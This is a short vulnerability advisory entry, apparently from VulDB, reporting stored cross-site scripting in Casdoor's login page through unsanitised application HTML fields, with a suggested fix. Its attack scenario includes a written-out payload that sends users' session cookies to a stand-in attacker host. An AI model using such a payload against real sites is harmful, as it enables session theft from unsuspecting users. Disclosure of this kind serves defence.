| Titolo | Casdoor v2.356.0 Cross Site Scripting |
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| Descrizione | Stored XSS via Application formCss / formSideHtml
**Evidence:**
```javascript
{inIframe() || isMobile() ? null : <div dangerouslySetInnerHTML={{__html: application.formCss}} />}
{inIframe() || !isMobile() ? null : <div dangerouslySetInnerHTML={{__html: application.formCssMobile}} />}
<div dangerouslySetInnerHTML={{__html: application.formSideHtml}} />
```
The `formCss`, `formCssMobile`, and `formSideHtml` fields from the application object are rendered as raw HTML using `dangerouslySetInnerHTML`. If an organization admin (or anyone who can modify application settings) injects malicious JavaScript into these fields, it executes for every user who visits the login page.
**Attack scenario:** An org admin sets `formSideHtml` to `<img src=x onerror="fetch('https://evil.com/steal?t='+document.cookie)">`. Every user visiting the login page has their session cookies exfiltrated.
**Fix:** Sanitize these fields with a library like DOMPurify before rendering, or restrict them to a CSS-only subset by parsing and validating the content server-side.
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| Utente | Ghufran Khan (UID 95493) |
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| Sottomissione | 17/03/2026 14:25 (6 mesi fa) |
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| Moderazione | 03/04/2026 09:26 (17 days later) |
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| Stato | Accettato |
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| Voce VulDB | 355072 [Casdoor 2.356.0 dangerouslySetInnerHTML formCss/formCssMobile/formSideHtml cross site scripting] |
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| Punti | 17 |
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